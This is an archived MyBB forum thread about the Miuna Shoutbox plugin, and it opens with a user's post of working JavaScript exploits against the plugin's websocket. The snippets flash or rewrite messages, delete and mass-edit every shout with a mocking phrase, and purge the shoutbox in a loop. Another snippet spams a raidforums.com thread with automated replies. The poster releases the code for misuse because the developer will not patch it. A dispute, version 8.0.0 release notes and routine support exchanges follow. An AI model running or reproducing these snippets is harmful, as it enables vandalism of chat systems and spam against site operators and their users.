MyBB Community Forums

Full Version: [Websocket] Miuna Shoutbox 9.0.0
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
var i;
var new_more_emojis = [
    "https://i.imgur.com/UKmC9lH.png",
    "https://i.imgur.com/WGuplho.png",
    "https://i.imgur.com/38o54Gd.png",
    "https://i.imgur.com/iNvqIP7.png",
    "https://i.imgur.com/GTM7bv9.png",
    "https://i.imgur.com/NcLkpra.png",
    "https://i.imgur.com/E3XM6CJ.png",
    "https://i.imgur.com/ESGkE7T.png",
    "https://i.imgur.com/SBRjnwf.png",
    "https://i.imgur.com/ZrgR4h5.png"
];
for(i = 0; i < new_more_emojis.length; ++i) {
    var emoji = new_more_emojis[i];
    emoticons['more'][emoji] = emoji;
}

var uid = $('.usersub-menu li:last-child a').attr('href').split('uid=')[1];
var lastMsg = $('.msgShout[data-uid="' + uid + '"]:last');
var lastMsgId = lastMsg.data('ided');
var message = lastMsg.find('.content_msgShout').text();
var newMsg = '';

$.each(message.split(''), function(i, l) {
   setTimeout(function() {
       newMsg = newMsg + l;
       socket.emit('updmsg', {id:lastMsgId, newmsg:newMsg});
   }, 100 * i); 
});

var uid = $('.usersub-menu li:last-child a').attr('href').split('uid=')[1];
var lastMsg = $('.msgShout[data-uid="' + uid + '"]:last');
var lastMsgId = lastMsg.data('ided');
var message = lastMsg.find('.content_msgShout').text();
var i = 0;

setInterval(function() {
    if(i % 2 == 0) {
        socket.emit('updmsg', {id:lastMsgId, newmsg:' '});
    } else {
        socket.emit('updmsg', {id:lastMsgId, newmsg:message});
    }
    i++;
}, 500);
$('.msgShout').each(function() {
    socket.emit('rmvmsg', {id: $(this).data('ided')});
});

// Mass editing

var newMsg = 'i am gay';

$('.msgShout').each(function() {
   socket.emit('updmsg', {id:$(this).data('ided'), newmsg:newMsg}); 
});


setInterval(function() {
    socket.emit('purge', function () {});
}, 500);

// Thread spamming

setInterval(function() {
    $.ajax({
        url: 'https://raidforums.com/newreply.php?ajax=1',
        type: 'POST',
        data: {
            'my_post_key': my_post_key,
            'action': 'do_newreply',
            'posthash': '433ce321dcd6487e2e180f52bfa0b383', // Get this from viewing a post request when you make a reply
            'tid': '12272',
            'method': 'quickreply',
            'postoptions[signature]': '1',
            'message': 'Exploits should be patched, not made ban-able. #' + (+new Date * Math.random()).toString(36).substring(0,8)
        },
        success: function(data) {
            return true;
        }
    });
}, 1000);

Martec won't fix these exploits that break the shoutbox. Here ya go kiddies Smile
(2016-02-28, 01:57 AM)Vanissery Wrote: [ -> ]~

http://community.mybb.com/thread-166773-...pid1209849
(2016-02-28, 02:07 AM)martec Wrote: [ -> ]
(2016-02-28, 01:57 AM)Vanissery Wrote: [ -> ]~

http://community.mybb.com/thread-166773-...pid1209849

>It's wast of time.

lol don't fix your shoutbox because you want javascript from DVZ. cool Smile
(2016-02-28, 02:17 AM)Vanissery Wrote: [ -> ]>It's wast of time.

lol don't fix your shoutbox because you want javascript from DVZ. cool Smile

lol...
so why you not make samething in thread of DVZ?
i already said to you bye. Good luck with DVZ....
and you think code of DVZ work in Miuna?
What relation with PHP and Nodejs? facepalm....
8.0.0 Released:

Quote:This version not work with Miuna Shoutbox Server 7.7 or below, you need upgrade Miuna Shoutbox Server to 8.0. You need delete application in openshift and create again with 8.0.
Quote:Installation of Miuna Shoutbox Server 8.0 is different of 5.4 or below. So you need read first post again before install Miuna Shoutbox Server 8.0

Bug Fix:
- Fix mention bug.
- Fix issue with disabled auto load image.

New feature:
- Added group setting that can edit/delete own shout
- Setting yes or no to open archive log in new page.
- Small improvement in anti flood system (now last submit message date is saved in database of server)

Upgrade from 7.5.0:

Upgrade Miuna Shoutbox Server to 8.0.
Unistall old version, upload new version and install.
how to worck ignore membre please, does not work for me
(2016-03-03, 11:53 AM)badboy4life91 Wrote: [ -> ]how to worck ignore membre please, does not work for me

you need put user id when clicked in button ignore user.
For some reason ENTER/RETURN isnt submittin a shout it's just making a new line
I really like the shoutbox. Few spelling/grammar mistakes, But the setup process is pretty broken because usually when I try to update the openshift account, updating miuna shoutbox, It will mostly (not every time) report having a 500 error (server temporary unavailable or service temporary unavailable), whether at /success or /. If you can fix the setup wizard or how you enter mainly to set up the shoutbox, I would most definantly appreciate it. 

Also ever since I upgraded the shoutbox, now it reports back: Expired Token. Refresh the page to obtain new Token. and I refreshed a lot of times and still didn't get a new token
(2016-03-03, 11:36 PM)p00lz Wrote: [ -> ]For some reason ENTER/RETURN isnt submittin a shout it's just making a new line

reply all questions below...
reply all questions without exceptions:

1- you readed first post and follow install guide?
2- installed too Miuna shoutbox server in openshift?
3- tested with default theme?
4- appear javascript error? if not know how see javascript error so check https://codex.wordpress.org/Using_Your_B...ipt_Errors (step 3 only) and post here javascript error.
5- repeat step 4 too with default theme if you using custom theme.

(2016-03-04, 02:12 AM)TheCheeseMaster16 Wrote: [ -> ]I really like the shoutbox. Few spelling/grammar mistakes, But the setup process is pretty broken because usually when I try to update the openshift account, updating miuna shoutbox, It will mostly (not every time) report having a 500 error (server temporary unavailable or service temporary unavailable), whether at /success or /. If you can fix the setup wizard or how you enter mainly to set up the shoutbox, I would most definantly appreciate it.

in step 3 of first page of installation

- In public Url: First textbox: miunashout

Try not use same public url of used in old version. Appear that openshift has issue in reuse same link.

(2016-03-04, 02:12 AM)TheCheeseMaster16 Wrote: [ -> ]Also ever since I upgraded the shoutbox, now it reports back: Expired Token. Refresh the page to obtain new Token. and I refreshed a lot of times and still didn't get a new token

what version you using?